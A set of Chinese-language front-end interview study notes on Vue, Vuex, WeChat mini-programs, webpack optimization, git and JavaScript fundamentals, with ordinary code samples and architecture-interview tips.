<link rel="dns-prefetch" href="//host_name_to_prefetch.com">
异步加载的方式?区别?
异步加载的方式:
1、动态脚本加载(动态创建script,插入html中)
2、defer
3、async
异步加载的区别:
1、defer是在HTML解析完之后才会执行,如果是多个,按照加载顺序依次执行。
2、async是在加载完成之后立即执行,如果是多个,执行顺序和加载顺序无关。
$(document).ready和window.onload的区别
$(document).ready等价于$(function(){}),后者是简写;
$(document).ready是DOM结构绘制完毕就执行,不必等待加载(图片或其他资源)完毕,可以编写多个.ready;
window.onload是页面内所有元素都加载完毕,包括图片等元素,且只能执行一次。
错误监控类
错误的捕获方式

Vue知识点
Vue生命周期
vue数组不加下标能修改成功吗?
Vue有哪些方式写组件?
这是使用Vue.extend创建的组件(全局组件)
这是使用Vue.component创建的组(局部组件)
通过template元素在外部定义的组件结构
通过private属性定义私有组件(私有组件)
//二、创建私有组件
let vm2 = new Vue({
el: "#app2",
data:{
},
components:{
private:{
template:"#temp2"
}
}
});
公共方法
mixin
vue全局API
Vue.directive自定义指令(三个参数:el、binding、vnode;五个生命周期:bind、inserted、update、componentUpdate、unbind、)
vue.set检测变动的数组
Vue.use
Vue.mixin全局注册一个混入,影响注册之后所有创建的每个 Vue 实例。
Vue.compile在 render 函数中编译模板字符串。只在独立构建时有效
Vue.nextTick
Vue中template什么时候变成vDom的?
modules如何通信
组件通信:
-
vuex状态管理 -
props和emit父子通信 -
$emit和$on公共汽车
import Bus from 'common/js/bus.js';
Bus.$emit('getTarget', event.target);
Bus.$on('getTarget', target => {
console.log(target);
});
$attrs和$listeners常用于跨组件通信,爷孙传
通过v-bind的方式绑定所有的属性传递给子子孙孙组件,子孙组件通过$attrs接收
通过v-bind的方式绑定所有的监听器传递给子子孙孙组件, $listeners接收
inheritAttrs: false没有在props声明的属性不自动挂载到根节点上
provide/inject祖先与后代之间传值,单向的
穿的值是响应式的,接收的就是响应式的,穿的不是响应式,接收的就不是响应式。
使用vue2.6最新API Vue.observable优化响应式
provide(){
return {foo: 'foo'}
}
inject: ['foo']
$parent/$children与ref
这两种方法的弊端是,无法在跨级或兄弟间通信。
Vuex怎么使用?
是一个单向流动的状态管理,同步用commit提交修改到mutation,异步用diapatch提交到action,action里面负责进行异步处理逻辑。
用到的场景,登录状态,加入购物车,音乐播放状态。
可以在数据改变后将state数据缓存在localstorage,反之页面刷新后数据消失。
//store/index.js
import Vue from 'vue'
import Vuex from './kvuex'
Vue.use(Vuex)
export default new Vuex.Store({
state: {
counter: 0
},
mutations: {
add(state){
state.counter++;
}
},
actions: {
add({commit}){
setTimeout(()=>{
commit('add');
}, 1000)
}
},
//类似计算属性
getters: {
doubleCounter(state) { //计算剩余数量
return state.counter * 2
}
},
modules: {
}
})
<p @click="$store.commit('add')">counter: {{$store.state.counter}}</p>
<p @click="$store.dispatch('add')">async counter: {{$store.state.counter}}</p>
Vue原理
1、v-if和v-for哪个优先级高
2、Vue组件data选项为什么必须是个函数而Vue的根实例则没有此限制
3、你知道vue中key的作用和工作原理吗?说说你对它的理解
4、你怎么理解vue中的diff算法?

5、谈一谈对vue组件化的理解
6、谈一谈对vue的设计原则的理解
7、谈谈你对MVC、MVP和MVVM的理解
8、你了解哪些vue性能优化的方法
- 路由懒加载import
- Keep-alive缓存页面
<keep-alive>
<router-link/>
</keep-alive>
-
使用v-show
-
v-for遍历避免使用v-if
-
长列表性能优化
静态列表使用Object.freeze
大数据长列表,使用虚拟滚动:
<recycle-scroller class="items" :items="items" :item-size="24" > <template v-slot="{ item }"> <FetchItemView :item="item" @vote="voteItem(item)" /> </template> </recycle-scroller> -
事件的销毁
-
图片懒加载
-
第三方插件按需引入
-
无状态组件标记为函数式组件functional
-
子组件分割
-
变量本地化
-
ssr
9、vue3新特性
10、对 vuex的使用及理解
11、vue中组件之间的通信方式?
12、vue-router中如何保护指定路由的安全?
13、你知道nextTick吗?它是干什么的?实现原理是什么?
14、谈一谈你对vue响应式原理的理解?


<keep-alive></keep-alive>的作用是什么?
如何优化SPA应用首屏渲染速度?
React
前端框架对比
前端性能优化
说一说各种框架的优化?
微信小程序
小程序webview如何交互通信,登录信息保存
微信小程序和vue对比?
生命周期
数据绑定
显示与隐藏元素
事件处理
双向数据绑定
微信小程序的静态路由?
主包,分包,预加载
微信小程序的状态管理?
getApp().globalData
taro的mobx。redux
微信小程序的原理?
由三大块组成,单页面应用,可以调用原生接口;
架构是数据驱动模式,UI和数据分离,所有页面更新,都需要数据更改来实现;
小程序分为两个部分,webview和appservice,webview负责界面展示,appservice处理业务、数据和逻辑交互。他们在两个进程中,通过JsBridge实现通信、UI的渲染、事件的处理。
微信小程序的鉴权机制?
微信小程序通过wx.login()获取code,将code发送给开发者服务器,开发者服务器携带appId、appsecret、code到微信服务器;
微信服务器将session_key和openid返回给开发者服务器,开发者服务器产生一个登录态token,并将token返回给小程序,小程序将token存入storage;
微信小程序向开发者服务器发起业务请求时,携带token,开发者服务器利用token查询openid和session_key,通过后,返回业务数据到前端;
注:
code和session_key是微信服务器同时产生的,具有时效性,通过session_key来“间接”地维护登录态。
code是临时登录凭证,有效期只有5分钟。
openid是用来标识用户的唯一性。
微信网页开发
Webpack
webpack是干什么的?
webpack是一个前端资源的模块化打包工具。
他解决了当前web开发面临的困境:
1、文件依赖关系错综复杂;
2、资源加载慢
3、模块化支持不好
4、浏览器兼容性问题
webpack的核心概念
1、入口entry
2、出口output
3、loader,因为webpack只识别js文件,所以需要使用loader将非js文件转化成webpack可识别的js文件,然后去打包。
4、plugin,插件可以扩展webpack功能,使其不仅仅完成打包,还可以进行优化、压缩、提高效率等复杂功能。
webpack和grunt、gulp有什么不同?
相比最大的不同是webpack有code-spliting、模块化(AMD、ESM、CommonJs)、全局分析。
什么是module、chunk、bundle?
手写的一个个模块就是module,无论是ESM | AMD | CommonJs;
通过webpack分析依赖关系生成的chunk文件,
webpack处理后最终输出的就是bundle文件;
一般来说,一个chunk对应一个bundle,但是也存在一对多,比如通过MiniCssExtractPlugin插件分理处css的bundle文件。
举个例子:index.js引入common.js文件,是两个module,一个chunk,一个bundle
hash、chunkhash、contenthash
-
hash是跟随整个项目改变
-
chunkhash跟随同一个chunk内容变化
-
contenthash跟随文件内容本身相关
contenthash:比如index.js引入css文件,属于同一个chunk,抽离css时通过contenthash命名,会使得css的hash不随js的变化而变化。
plugins: [
new MiniCssExtractPlugin({
filename: 'index.[contenthash].css'
})
]
Code Splitting有哪些方式?
代码分割,
1、多入口
2、公共提取
optimization: {
splitChunks: {
chunks: 'all'
}
}
//文件依赖的 node_modules 中内容打包到 common 中
new webpack.optimize.CommonsChunkPlugin({
name: 'common',
minChunks: function(module) {
return (
module.resource &&
/\.js$/.test(module.resource) &&
module.resource.indexOf(
path.join(__dirname, './node_modules')
) === 0
)
}
})
3、动态加载
import('lodash').then(_ => {
// Do something with lodash (a.k.a '_')...
});
什么是长缓存,如何在webpack中做长缓存优化?
浏览器在用户访问页面时,为了加快加载速度,会进行资源缓存。
但是如果每次代码升级或更新,浏览器都会重新下载代码,最简单的就是引入新的文件名称。
webpack可以output时指定chunkhash,并且将不经常变动的代码抽离。
-
文件不使用hash,而是使用chunkhash
-
css文件hash使用contenthash,这样不受js模块变化影响
-
提取vender,抽离公共库
-
内联webpack runtime到页面
chunkId变化不影响vendor,不占用http请求,使用chunk-manifest-webpack-plugin提取,gulp-inject插入到页面
-
保证module Id稳定
模块的新增或删除,会导致其后面的所有模块id重新排序,为避免这个问题,不使用数字作为模块id,改用文件内容的hash值,使用HashedModuleIdsPlugin可以解决
-
保证chunkhash稳定
使用webpack-chunk-hash,替代webpack自己的hash算法。webpack自己的hash算法,对于同一个文件,在不同开发环境下,会计算出不同的hash值,不能满足跨平台需求。
什么是Tree-shaking,css可以tree-shaking吗?
去除没有用到的js代码,使用插件new webpack.optimize.UglifyJsPlugin()或者命令webpack --optimize-minimize
如何加快Webpack打包速度?减少打包体积?
速度优化
进行 webpack 缓存是极其有必要的,在处理 loader 之前添加 cache-loader,将结果缓存到磁盘中,可以显著提升二次构建速度
HappyPack会采用多进程去打包构建
选择一个合适的devtool属性值
代码压缩用ParallelUglifyPlugin代替自带的 UglifyJsPlugin插件
减小打包体积
代码分割(多入口、公共抽离、动态加载)
优化构建时的搜索路径(alias、exclude)
检查一下代码,看看是不是有不需要引入的模块出现在代码里。webpack编译时加上参数 --json > stat.json 后,可以上传到 webpack-analyse 、webpack-visualizer 等分析站点上,看看打包的模块信息
-
性能分析,bundle-analysis
-
gzip,dll,懒加载
-
preload,prefetch
-
性能优化......
-
自定义插件。。。。loader,plugin.....
webpack自定义插件的钩子函数有哪些?
loader和plugin可以脱离webpack吗?
Plugin生命周期?
如何自己编写一个plugin?
一个plugin是含有apply方法的函数
Hybrid开发(混合开发)
NodeJs
Koa框架
Egg框架
Express框架
数据库
ES5
ES6、ES7+
数组
CSS3规范
less
网络协议和网络传输
重构
提升系统的扩展性
自动化部署
自动化部署?
gitCI CD里面的runner是什么?
Git
git命令有哪些?
git rebase、git revert、git reset区别是什么?
git revert 放弃某次提交 git revert 之前的提交仍会保留在git log中,而此次撤销会做为一次新的提交。
git reset 是回滚到某次提交 git reset --soft 此次提交之后的修改会被退回到暂存区 git reset --hard 此次提交之后的修改不做任何保留,git status干净的工作区。
git rebase 当两个分支不在一条直线上,需要执行merge操作时,使用该命令操作。 该命令执行时极有可能显示merge失败
单元测试
Linux命令
Javascript-类型-执行-语法-相关
JS有哪些数据类型?8种
基本数据类型:number、string、boolean、symble(ES6新增的)、null、undefined、bigInt(ES10新增的)
引用数据类型:Object(包括:Array、RegExp、Date、Function、Math)
Proxy
Symbol
定一个唯一值,eg:
var obj = {
[Symbol('name')]: 'yaohuanhuan'
}
判断数据类型
1、typeof
不能判断object,不能判断null
typeof [] === 'object' //true
typeof null === 'object' //true
2、conctructor
不稳定,一旦修改原型,其构造函数可能会改变
3、instanceof
[] instanceof Object //true
不能判断具体类型,只能判断原型关系
4、Object.prototype.toString.call()
通过call将传进来的对象作为Object的原型上的this,然后调用toString就可以看到具体类型值
缺点是不能判断谁是谁的实例
JS栈和堆
判断是不是数组?
//ES6新增的方法
if(Array.isArray(value)){
return true
}
//兼容写法
if(!Array.isArray){
Array.isArray=function(arg){
returnObject.prototype.toString.call(arg)==='[objectArray]'
}
}
//不使用typeof是因为typeof []//object
//不使用instanceof是因为他只能判断该值的原型链上有没有Array
//不使用constructor是因为该值的constructor有可能被修改为Array
作用域链
函数内部会保留一个scope属性,在函数执行中会将自身的AO对象加进去,所以执行时先找自身,找不到就想上查找,就是作用域链。
包含两部分:scope(指向父级变量对象和作用域链)、AO(自身活动对象)
为什么会有变量提升?
原因有二:
- 解析和预编译过程中的声明提升可以提高性能,让函数可以在执行时预先为变量分配栈空间
- 声明提升还可以提高JS代码的容错性,使一些不规范的代码也可以正常执行
js执行的时候,有两个步骤:解析和执行。
解析阶段:
解析的时候会先创建一个全局上下文、函数执行前会形成函数上下文,
全局上下文包含:变量定义,函数声明
函数上下文:变量定义,函数声明,this,argument
解析时,会将变量、函数拿出来,变量赋值为undefined,函数声明为可使用,压缩、去注释、去空白,为函数分配栈空间。
代码不变的情况下,解析阶段只有一次。这样下次执行的时候就不需要重新解析变量和函数了,所以提高性能。
在执行阶段,就是按照代码的顺序依次执行。
闭包
闭包:指有权访问另一个函数作用域中的变量的函数。 闭包的本质是将函数内部和函数外部连接起来的一座桥梁。
闭包属于一种特殊的作用域。它的定义可以理解为: 父函数被销毁 的情况下,返回出的子函数的[[scope]]中仍然保留着父级的单变量对象和作用域链,因此可以继续访问到父级的变量对象,这样的函数称为闭包。一句话解释就是:函数定义的作用域和函数执行的作用域,不在同一个作用域下。
- 闭包会产生一个很经典的问题:
多个子函数的[[scope]]都是同时指向父级,是完全共享的。因此当父级的变量对象被修改时,所有子函数都受到影响。
- 解决:
- 变量可以通过
函数参数的形式传入,避免使用默认的[[scope]]向上查找 - 使用
setTimeout包裹,通过第三个参数传入 - 使用
块级作用域,让变量成为自己上下文的属性,避免共享
- 手写一个简单的闭包
下面例子中的 closure 就是一个闭包:
function func(){
var a = 1,b = 2;
function closure(){
return a+b;
}
return closure;
}
闭包的使用场景
setTimeout的回调函数无法传参,通过闭包的形式,将子函数作为回调函数,参数通过调用父函数传递。
dom绑定事件,需要定义事件行为时,可以通过闭包的形式。
变量的私有化,防抖函数的setTimeout,内部定义的定时器就是只允许内部使用的变量。
垃圾回收机制
内存泄漏和内存溢出
内存泄露 ,是指程序在申请内存后,无法释放已申请的内存空间,一次内存泄露危害可以忽略,但多次则会造成内存溢出。
内存溢出,是指程序在申请内存时,没有足够的内存空间供其使用。
什么时候会内存泄漏
- 意外的全局变量
- 没有清除的定时器和计时器
- 闭包
- 没有清除的Dom引用
防抖节流函数
- 防抖debounce就是在一段时间内只执行一次函数
- 节流throttle就是不能实时执行,但每隔一段时间就执行一次函数
//防抖debounce
function debounce(fn, time) {
let timer = null;
return () => {
if (timer) {
clearTimeout(timer);
}
timer = setTimeout(fn, time)
}
}
function fn() {
let top = document.body.scrollTop || document.documentElement.scrollTop;
console.log('滚动了:', top)
}
window.onscroll = debounce(fn, 200)
// 节流throttle //时间戳
//会立即执行,最后一次会漏掉
function throttle(fn, time) {
let pre = Date.now();
return function() {
let args = arguments;
let context = this;
let now = Date.now();
if (now - pre >= time) {
fn.call(context, args)
pre = Date.now()
}
}
}
// 节流 //定时器
// 不会立即执行,最后一次可能会延迟
// function throttle(fn, time) {
// let timer = null;
// console.log(arguments);
// return function() {
// console.log(this);
// let args = arguments;
// let context = this;
// if (!timer) {
// timer = setTimeout(() => {
// timer = null;
// fn.call(context, args)
// }, time)
// }
// }
// }
window.onscroll = throttle(fn, 500)
arguments
描述arguments的作用,在ES6中更好地替代方案是什么?
arguments是一个类数组对象,arguments.callee,arguments.length,argument[0]、argument[1]。
arguments大多用来针对同个方法多处调用并且传递参数个数不一样时进行使用。
使用rest代替,rest是一个数组,只能是最后一个参数,一个函数声明只能允许有一个rest参数。
Objetc——可枚举属性、自身属性
可枚举可以由Object.defineProperty()的enumerable设置。
propertyIsEnumerable判断对象是否包含某属性且可枚举。
可枚举影响以下三个:for...in、Object.keys、JSON.stringify
for...in会同时判断继承的属性和自身属性,且可枚举;
如果只想遍历自身属性,使用hasOwnProperty();
Object.keys只返回自身属性,且可枚举;
JSON.stringify只能序列化自身属性,且可枚举。
Object.getOwnPropertyNames()返回自身属性名,就算是不可枚举的属性也能遍历到。
判断对象是否存在某属性?
【自身属性】对应的就是【原型属性】
使用in运算符判断对象上是否有某个属性,不管是不是自身属性都会是true
function Parent(){
this.name = 'echo';
};
Parent.prototype.age = 26;
var o = new Parent();
o.name//echo
o.age//26
'name' in o;//true
'age' in o;//true
hasOwnProperty()除了判断对象是否包含这个属性,还判断此属性是不是对象的自身属性。
查看对象是否有 Symbol 属性只能使用 Object.getOwnPropertySymbols 方法
for...in和for...of对比
for in可以遍历数组和对象,会遍历自身属性和原型属性,且可枚举;
缺点:某些情况下,会出现随机顺序的遍历,因为里面的值是string类型,所以 增加了转换过程,因此开销较大;
for of是ES6新引入的特性。只能遍历数组不能遍历对象,可以结合Object.keys遍历对象。
For of可以遍历Arrays\String\Map\Set这样可迭代的数据结构;
for of遍历的是当前的value。
substr和substring区别
substr(beginIndex, number)开始索引,取多少个字符;
substring(beginIndex, endIndex)前闭后开。
深复制有哪些方法?原理?
方法1:JSON.parse(JSON.stringify(obj))的方式。
该方法的缺点:
可以转成 JSON 格式的对象才能使用这种方法
会忽略值为undefined的属性,会忽略值为函数function的属性,会将null处理为{}
方法2:递归的方式,进行遍历
要考虑数组的情况
for(key in obj){}数组对象都可以,key在数组中是索引,在对象中是属性。
通过source.hasOwnProperty(key)筛选自身属性
function deepCopy(source) {
let target = Array.isArray(source) ? [] : {};
for (let key in source) {
if (source.hasOwnProperty(key)) {
if (typeof source[key] === 'object') {
target[key] = deepCopy(source[key])
} else {
target[key] = source[key];
}
}
}
return target;
}
let obj1 = {
name: 'huan',
can: {
say: { a: 1, b: 2 }
},
age: [1, 2, 3]
}
let obj2 = deepCopy(obj1)
obj2.can.say.a = 11111111;
console.log(obj2);
对象有哪些?
字面量对象和函数对象的区别?
判断一个对象是不是空对象?
拟定几个对象:
1、只有自身属性
2、只有原型属性
3、自身属性上有Symbol类型的的属性名,{[Symbol('name')]: 'huan'}
4、有自身属性,但是不可枚举,unumerable:false
5、一个空对象
判断关键点:
1、通过Object.getOwnPropertySymbols()来判断有没有Symbol类型的属性名;
2、通过for in 和obj.hasOwnProperty(name)判断自身属性,因为for in不仅仅是自身属性;
3、通过Object.keys()可以遍历自身属性;
3、通过JSON.stringfy()可以遍历自身属性;
4、通过Object.getOwnPropertyNames可以遍历到不可枚举的属性;
遍历对象?遍历数组?
函数柯里化
箭头函数和普通函数区别?
柯里化
什么是柯里化?柯里化是不是闭包?运用JS的闭包、高阶函数、柯里化?闭包应用场景
事件循环?
同步、宏、微
手写Promise?
resolve\reject
三个状态
data值,value、reason
.then()、.catch()
Promise.race\all\resolve\reject\resolveDelay\rejectDelay
分析Promise执行
// 面试题2
// 宏任务:script、setTimeOut、setInterval、setImmediate
// 微任务:promise.then,process.nextTick、Object.observe、MutationObserver
new Promise((resolve, reject) => {
console.log((1));
resolve();
console.log(2);
})
.then(() => {
console.log(3);
new Promise((resolve, reject) => {
console.log(4);
resolve("done");
})
.then(param => {
console.log("inner then1", param);;
})
.then(param => {
console.log("inner then2", param);
});
return true;
}).then(param => {
console.log("outer then1", param);
// throw Error("error");
})
// .catch(param => {
// console.log("outer catch", param);
// })
await和async是什么?
Promise如何使用?
定义一个函数有几种方式?
怎么复制一个数组?
对象里面的元素都是对象对象里面每一个键都是012345,那你怎么给里面的这些对象元素按照key值排序?
JS模块化
正则
语法:
在集合^表示取反,例如[^a-z]
\b表示边界,例如/\bc/表示以c开头或结尾
\d表示数字。\D表示非数字。
.表示除\n以外的任意字符;
\s匹配单个空格,等同于\f\r\n\t\v;
\S表示非空格字符;
/\w/表示字母数字下划线,等同于[a-zA-Z0-9_]
/\W/,取反,等同于[^a-zA-Z0-9_]
/(\w)\1/中的\1是对前边的子表达式的引用,/(\w)(\w)\2\1/可以匹配到qwwq。
?:表示不不记录括号内匹配的内容,例如:/^(?:b|c)\1/去匹配bb只返回bb,不返回b b。
?=表示正向预查,比如/cainiao(?=8)/只会匹配到cainiao8,不会匹配到cainiao9,如果不写则cainiao8和cainiao9都会匹配到cainiao。
正则表达式的修饰符i,g,m,m表示多行multiline
方法:
match是字符串的方法,'weew'.match(/(\w)(\w)\2\1/)
exec是正则表达式的方法;
test是正则表达式的方法
1、怎么正则匹配一个ip地址
iPv4的ip地址都是(1255).(0255).(0255).(0255)的格式
下面给出相对应的正则表达式:
"^(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|[1-9])\."
+"(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\."
+"(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\."
+"(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)$"
//校验是否全由数字组成
/^\d+$/.test('234543rew')
只能输入5-20个以字母开头、可带数字、“_”、“.”的字串
/^[a-zA-Z][a-zA-Z0-9、.]{4,20}$/.test('q23456ygfd.、s')
/^[a-zA-Z]{1}([a-zA-Z0-9]|[._]){4,19}$/
//校验是否全由数字组成
/^[0-9]{1,20}$/
js验证年月日(yyyy-mm-dd)格式
/^(\d{4})(-|/)(0[0-9]|1[0-2])\2([0-2][0-9]|3[0-1])$/
或者简单点:/^(\d{1,4})(-|/)(\d{1,2})\2(\d{1,2})$/
var html = `<div title="test">
<icon v-if="icon" name="info" class="m-message--icon" slot="icon" />
<img src="http://img.123.jpg" title="img"/>
<input checked=true data-value="12" checked/>
<a href="#/test" on-click="jump"></a>
<m-alert title='Alert message'>alert</m-alert>
</div>`
var whiteList = [ 'href', 'src' ]
html.replace(/<([\w-]+)(.*?)>/g, function (ori, tag, content) {
console.log(1, arguments)
return ori.replace(/\s?([\w-]+)=['"]?[\w-]+['"]?/g, function (attr, name) {
console.log(2, arguments)
if (whiteList.indexOf(name) > -1) return attr
return ''
})
})
Typescript
数据结构
懂哪种数据结构?链表?
常见面试题:
前端术语有哪些?了解一下
各个框架有哪些API?
单例模式?
WebAssembly为什么比asm.js快?
描述下PWA的实现?
如果一行5人打算穿越沙漠,你要怎么做?
还问小程序和h5有什么不同?
中间件是什么?
原生JS实现表格排序
unical编码
Array.prototype.slice.call()什么作用?
Array.prototype.slice.call(arguments)能将有length属性的对象转换为数组
30K-前端架构面试题
二面
讲讲你做过的项目(亮点)!!!
微观:
\1. axios.post + formData + 进度条 over 1. 需求做完,但是没亮点
\2. 文件是2个G
\1. 断点+续传
\2. 文件切分小块,分片上传 ,下次续传 3. 拖拽,粘贴。。交互上的优化
\4. 断点续传,需要给文件加一个唯一标识 常⻅的就是计算文件内容的md5 1. 计算2G文件的md5,我这个电脑,需要20秒左右,卡顿怎么解决 2. webworker,影分身
\3. 抽样(损失一丢丢的正确率,换取了效率的体大提升)
\1. 没抽到的数据如果修改了,这个是分辨不出来的
\2. 《布隆过滤器》的思想
\3. 可以预判,这个算法判断hash正确,可能误判,判断hash不正确, 一定是准的
\4. 巨大的计算量导致的卡顿 , react15时代的dom diff 如果计算量大, 会导致卡顿
\1. 空闲时间计算
\2. 源码中学到的很多思想,并不是单纯的为了面试or看代码,新思路,解决问题
\5. 有亮点的图片格式限定
\1. 头像上传,只允许.png格式
\2. 最简单的就是文件.type, name.splite('.')[1]==='png' 根据后缀名,都是又隐患 3. 都有小隐患,可以通过修改后缀名来骗过
\4. 图片二进制头信息读取格式要求
\5. 图片宽高,都可以在二进制里读出来,不用加载就能限制
\6. 切片切好了,一共100个切片,md5算好了
\1. 如果直接promise.all,同时发起100个tcp的请求,也会卡顿
\2. 怎么解决
\7. 一个切片到底多大,怎么定
\1. 可以借鉴tcp的慢启动逻辑 先发小包,根据响应时间动态调整(很快,包大小翻倍,很慢 变 小一些)
。。。。。继续根据这些原则去扩
宏观:
从开发,到上线,所有的过程,都是工程化负责,都可以又一丢丢亮点 可以show
- 规范
- eslint
- 命令规范
- git规范,分支,log规范.... 4. 组件规范
- .....
- 使用git hook去校验规范
- 技术选型
-
vue or react ,看团队的人
-
语言扩展库(loadsh还是自己写)
-
是不是ssr,日期,组件库,数据,路由....
-
ssr(首屏性能, seo)
1、从0开始的,next or nuxt 等ssr框架
2、 已经成型的 可以重构,也可以通静态化,puppeteer等方式hack一下,次优解,工作量比较低
3、.....
- 通用逻辑分装
-
axios拦截器
-
权限拦截
-
.....
- webpack的优化
- 性能分析,bundle-analysis
- gzip,dll,懒加载
- preload,prefetch
- 性能优化......
- 自定义插件。。。。loader,plugin.....
- 通用组件
-
组件库的基本设计,参考element-ui,ant-design
-
私有npm....
- 基于这些系统的进阶提效 + 可靠性
-
lowcode
-
codereview流程
-
代码审核,写代码代码不能直接merge master,要给一个同事审核
-
code reveiew是可以用来督促自己学习的
不一定非得是审核,举个例子,你觉得我的代码写的不错,你就找我要求我每次 commit,都默认给review一份
-
-
自动化部署 git + gitlab +钉钉推送 4. 性能同级
-
报错同级 sentry
-
。。。。。
带团队:
体验层面:
多去看ant.design
前端架构 需要解决哪些问题
工程化,从哪里入手 ,项目规范都包括 哪几个
硬:技术持续提升__从现在开始,leetcode,每天一题 刷到200题
比如你小程序用的多, 可以说说小程序本身的一些坑,如何规避?
还有 工程化 多页面的维护方式
大多都是为了 性能第一, 效率第二
那taro nui-app 挺火, 就肯定问你有没有了解过
原声也有提升性能ya , 比如降低setData的使用, 静态资源的加载,尽可能降低主包质量,分包预加载 全局变量的管理维护 还有 storage 的使用, 怎么维护, 不滥用 js页面切换都要注意回收 变量
分包 主包 , 公共组件, 页面组件,
代码的安全性,降低出bug的概率
架构 主要考虑的问题就是 可维护性,可扩展性
静态资源存放
分屏渲染,首页第一个setData的时候 只渲染首屏能看到的内容
还有就是 想办法用预请求
职业规划
超高频
首屏加载优化, 通过哪些指标去衡量性能优化的
对于性能优化来说,衡量的指标有很多,大体上可以分为:性能指标、响应时间、并发量、秒开率和正确性
webpack要使用webpack-bundle-analyzer 分析
vue-cli3的项目直接vue-cli-service build --report就会生成一个report.html
1、分析是否需要全局引入
需要全局引入:在main.js中Vue.use()
不需要全局引入:页面上单独import
2、使用更轻量级的工具库
moment过于庞大,不支持tree-shaking,将其替换成 date-fns
3、CDN优化
-
1.首先我们在index.html中,添加CDN代码
国内的CDN服务推荐使用 BootCDN
<script src="//cdn.bootcss.com/vue/2.5.7/vue.min.js"></script>使用 CDN 的好处有以下几个方面:
(1)加快打包速度。分离公共库以后,每次重新打包就不会再把这些打包进 vendors 文件中。
(2)CDN减轻自己服务器的访问压力,并且能实现资源的并行下载。浏览器对 src 资源的加载是并行的(执行是按照顺序的)。
-
vue.config.js中配置
externals webpack配置
externals,不经常变化的公共库使用CDN方式。
output.libraryTarget是配置如何暴露 library,模块组织是遵循的什么规范
支持:
- global - 外部 library 能够作为全局变量使用。用户可以通过在 script 标签中引入来实现。这是 externals 的默认设置。
- commonjs - 用户(consumer)应用程序可能使用 CommonJS 模块系统,因此外部 library 应该使用 CommonJS 模块系统,并且应该是一个 CommonJS 模块。
- commonjs2 - 类似上面几行,但导出的是 module.exports.default。
- amd - 类似上面几行,但使用 AMD 模块系统。
- 去除vue.use相关代码
因为使用了CDN,会将公共库挂载到window上,不再需要Vue.use()和import Vue from 'vue'
4、检查Nginx 是否开启 gzip
开启了gzip后js的大小比未开启gzip的js小2/3左右,开启了gzip,在浏览器的控制台Content-Encoding一栏会显示gzip。
如何开启gzip?
nginx加上下面的配置,这是让nginx根据http请求优先返回gzip的文件。
gzip:on
gzip_static: on
服务器压缩会消耗CPU,所以可以前端在打包的时候进行gzip压缩,
前端在webpack的plugins里配置:
new CompressionWebpackPlugin({
filename: '[path].gz[query]', //压缩后的文件名
algorithm: 'gzip’, // 压缩格式 有:gzip、brotliCompress、
test: /\.(js|css|svg)$/,
threshold: 10240,// 只处理比这个值大的资源,按字节算
minRatio: 0.8, //只有压缩率比这个值小的文件才会被处理,压缩率=压缩大小/原始大小,如果压缩后和原始文件大小没有太大区别,就不用压缩
deleteOriginalAssets: false //是否删除原文件,最好不删除,服务器会自动优先返回同名的.gzip资源,如果找不到还可以拿原始文件
5、检查路由懒加载
路由组件如果不按需加载的话,就会把所有的组件一次性打包到app.js中,导致首次加载内容过多。
export default new Router({
routes: [
{
path: '/',
name: 'HelloWorld',
// 方法一:vue异步组件实现
// component: resolve => (require(['@/components/HelloWorld'], resolve))
// 方法二:import方法(常用)
component: () => import('@/components/HelloWorld')
}
]
})
6、组件懒加载
export default {
components: {
// 方法一
'HelloWorld': () => import('./HelloWorld'),
// 方法二
// HelloWorld': resolve => (['./HelloWorld'], resolve)
}
}
7、加载优先级
超长页面懒加载
延时加载
8、
图片尺寸适配和压缩
预渲染
mixin:
混合机制--mixins,用来更高效的实现组件内容的复用;
mixins是在引入组件之后,则是将组件内部的内容如data等方法、method等属性与父组件相应内容进行合并。
问题:如果有相同的方法,mixin的方法会先执行;同名会被组件覆盖;
1像素问题
小程序原理
骨架屏
鉴权之动态路由获取

localStorage和Cookie和Session的区别
-
Cookie 一般最大 4k,Storage( LocalStorage、SessionStorage)可以用 5Mb 甚至 10Mb(各浏览器不同)
-
LocalStorage 一般不会自动过期
-
Cookie 存在浏览器的文件里,Session 存在服务器的文件里
-
cookie不是很安全,别人可以分析存放在本地的COOKIE并进行COOKIE欺骗。
-
不设置过期时间就是会话Cookie,保存在内存中;设置过期时间的就是持久Cookie,保存在硬盘中。
如何查看用户是否禁用cookie?
if(Navigetor.cookieEnabled){}
H5和Css3的新特性
Es6的使用
TS
router和route的区别
单页面和多页面的区别
vDom的本质是什么
get和post的区别
跨域
sorket
面试官:有什么问题要问我的?
webpack5.0有什么新特性,bigInt是做什么的,如何处理数字精确度-失真,对象的属性如何冻结,输入框输入文字后都发生了什么,表述占内存堆存,NaN是栈内存吗为什么,Infinity, Object.prototype.toString.call()对null会返回什么,node的EventLoop,node开启服务后有几个线程,圣杯布局,let\var\const的区别,Vue组件内统一销毁import的组件-使用webpack插件treeshaking-使用Mixin混入,双向绑定说的不清楚,jwt占用内存吗,jwt和session使用,session和cookie的结合-session无状态?http2.0有哪些优点-帧队列,讲讲webpack,
算法
白屏
图片上传
Vue3.0有什么特性
准备二面 + 架构设计 及 项目优化
react函数组件和类组件的区别
代码规范
http2.0有哪些优点-帧队列